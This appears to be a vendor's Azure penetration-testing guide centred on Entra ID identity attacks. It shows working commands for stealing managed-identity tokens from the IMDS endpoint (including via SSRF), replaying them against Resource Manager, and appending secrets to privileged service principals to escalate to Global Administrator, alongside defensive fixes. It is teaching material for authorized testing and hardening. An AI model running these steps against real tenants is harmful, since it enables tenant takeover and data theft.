
In Azure, the firewall is almost beside the point. The attack surface is identity: Microsoft's own incident reports and the Storm-0558 and Midnight Blizzard intrusions both turned on stolen or over-permissioned application identities, not network exploits. So an Azure engagement that spends its time port-scanning VMs is testing the wrong thing. The richest target is Entra ID, the service Microsoft renamed from Azure AD, where one over-privileged service principal or a single managed-identity token can unravel a whole tenant.
This guide is organized the way a real Azure assessment runs: confirm the rules, establish who you are, then work the identity graph from a stolen token outward to tenant takeover. You will see the actual IMDS token response, an Entra escalation through service-principal credentials, a storage SAS leak, a sample findings table, and the RBAC and Conditional Access configuration that closes each path. Written authorization from the subscription owner is assumed.
Microsoft requires no advance notice to test resources in your own Azure subscription, but you must operate under the Microsoft Cloud Unified Penetration Testing Rules of Engagement. You test what you own: your VMs, App Services, Functions, storage accounts, and your Entra ID tenant configuration. You do not touch Microsoft's shared infrastructure or any other customer's data.
Prohibited activity mirrors the other providers. No denial-of-service or DDoS testing, no automated traffic heavy enough to degrade shared services, no phishing of Microsoft employees, and no attempt to reach another tenant. The rules of engagement spell out the boundaries; read them before you scope, and cite the document in your engagement letter. Confirm the identity and subscription you are working in before anything else, because in Azure your blast radius is whatever this principal's roles allow:
$ az account show --query '{sub:id, tenant:tenantId, user:user.name}'
{
"sub": "d4e5f6a7-1111-2222-3333-abcdef012345",
"tenant": "9f8e7d6c-aaaa-bbbb-cccc-1234567890ab",
"user": "svc-deploy@contoso.onmicrosoft.com" <- a service account, worth mapping its roles next
}Because the shared-responsibility split moves the focus from network to identity, an Azure test is closer in spirit to defending against Active Directory attacks than to a classic external perimeter test.
Entra ID is the identity and access plane for both Azure and Microsoft 365, so compromising it compromises everything bound to it. After initial access, enumerate users, groups, directory roles, and especially service principals and app registrations. The high-value findings are over-privileged service principals with non-expiring credentials, applications granted broad Microsoft Graph application permissions like RoleManagement.ReadWrite.Directory, and illicit consent grants. Pull the directory fast and read the output for the dangerous bindings:
$ az role assignment list --all --query "[?roleDefinitionName=='Owner'].principalName" -o tsv
svc-deploy@contoso.onmicrosoft.com
backup-automation-sp <- a service principal with Owner: a privesc target
$ az ad app permission list-grants --query "[].{client:clientId, scope:scope}" -o table
Client Scope
------------------------------------ -------------------------------------
7c2d...e91 RoleManagement.ReadWrite.Directory <- can promote anyone to Global AdminWatch for dangerous directory roles too: Global Administrator, Privileged Role Administrator, and Application Administrator (which can add credentials to existing service principals and inherit their permissions). Conditional Access gaps, legacy authentication still enabled, and users without MFA all widen the surface. Map the whole graph with AzureHound or ROADtools before you act, so you can see the shortest path to Global Admin rather than guessing at it.
Managed identities let an Azure resource authenticate with no stored secret, and you reach their tokens through the Azure Instance Metadata Service. From a compromised VM or an application SSRF, request the token endpoint with the mandatory Metadata: true header and a resource you want a token for:
$ curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOi...",
"expires_in": "3599",
"resource": "https://management.azure.com/",
"token_type": "Bearer" <- a live ARM bearer token for the VM's managed identity
}Replay that token straight against Azure Resource Manager. What comes back tells you the blast radius in one call:
$ curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq '.value[].displayName'
"contoso-production" <- the identity can enumerate the whole subscriptionThe Metadata: true header is a partial defense, since SSRF primitives that cannot set custom headers fail. But plenty of application SSRF bugs can set headers, so do not assume safety. The token is only as dangerous as the RBAC roles behind it, which is why right-sizing those roles matters as much as fixing the SSRF. This pivot parallels the AWS metadata attack in our AWS penetration testing guide.
The signature Entra ID escalation is Application Administrator (or any principal with microsoft.directory/applications/credentials/update) appending its own secret to a more privileged service principal. You cannot read an app's existing secret, but you can add a new one, authenticate as that app, and inherit every Graph permission it holds. Find a target app with strong app-role grants, mint a credential, and log in as it:
$ az ad app credential reset --id 7c2d...e91 --append --display-name pt --years 1
{
"appId": "7c2d...e91",
"password": "Q~8xMpL...newsecret", <- a fresh secret we now control
"tenant": "9f8e7d6c-aaaa-bbbb-cccc-1234567890ab"
}
$ az login --service-principal -u 7c2d...e91 -p 'Q~8xMpL...newsecret' --tenant 9f8e7d...
# Now authenticated as an app holding RoleManagement.ReadWrite.DirectoryWith RoleManagement.ReadWrite.Directory you can promote any account to Global Administrator through Graph. That is how a mid-tier admin role chains to full tenant control without ever cracking a password. Defenders close it by removing standing Application Administrator assignments, gating privileged roles behind Privileged Identity Management (just-in-time, approval-required), and alerting on the Add service principal credentials event in the Entra audit log.
Azure Storage exposure usually comes from leaked SAS tokens, leaked account keys, or anonymous public blob access, and it leaks quietly because none of it trips an authentication log. A Shared Access Signature is a signed URL granting scoped access to blobs, files, queues, or tables. When SAS URLs leak into source code, CI logs, mobile apps, or browser history, anyone holding them gets whatever the signature permits until it expires, and account-level SAS is hard to revoke without rotating the key. Probe a found account both anonymously and with login, and read what comes back:
$ curl -s "https://contosodata.blob.core.windows.net/backups?restype=container&comp=list"
<EnumerationResults><Blobs>
<Blob><Name>db-export-2026-05.bak</Name></Blob> <- anonymous list = public container
<Blob><Name>tenant-secrets.json</Name></Blob>
</Blobs></EnumerationResults>Check for anonymous blob access enabled, long SAS expiry windows, account keys hardcoded in app settings, and containers set to public read. Account keys are especially dangerous because they grant full control of the account and rotating them breaks every consumer, so teams avoid rotation entirely. Confirm whether you can read or write, then rate the finding by what the container actually holds.
On a recent assessment of a SaaS provider's Azure tenant, the bug I opened with was an unremarkable SSRF in a PDF-render service. The finding that mattered was the Contributor-scoped managed identity behind it: that token let me read every storage key in the resource group, and one of those storage accounts held a deployment script with a service-principal secret that carried Graph write. A medium SSRF became tenant compromise because nobody had right-sized the identity. The findings table below is that report excerpt.
Every fix is configuration. Enforce MFA and Conditional Access on all accounts and block legacy auth. Gate privileged directory roles behind PIM so Application Administrator is not standing. Right-size each managed identity to the narrowest RBAC role that works, and disable anonymous blob access at the account level. An Azure Policy that denies public blob access tenant-wide is the durable version of that last control:
{
"if": {"field": "Microsoft.Storage/storageAccounts/allowBlobPublicAccess",
"equals": "true"},
"then": {"effect": "deny"}
}For tooling, split it into identity mapping (ROADtools roadrecon gather, AzureHound feeding BloodHound), subscription graphing (Stormspotter), and posture (ScoutSuite scout azure --cli, Prowler, MicroBurst for storage and credential hunting). Posture scanners flag a public container but miss that an Application Administrator can self-issue credentials to a privileged app, and they never replay your real SSRF against IMDS. Running offense continuously instead of annually is the case for agentic, continuous pentesting, and you should fold results into a cloud security posture checklist.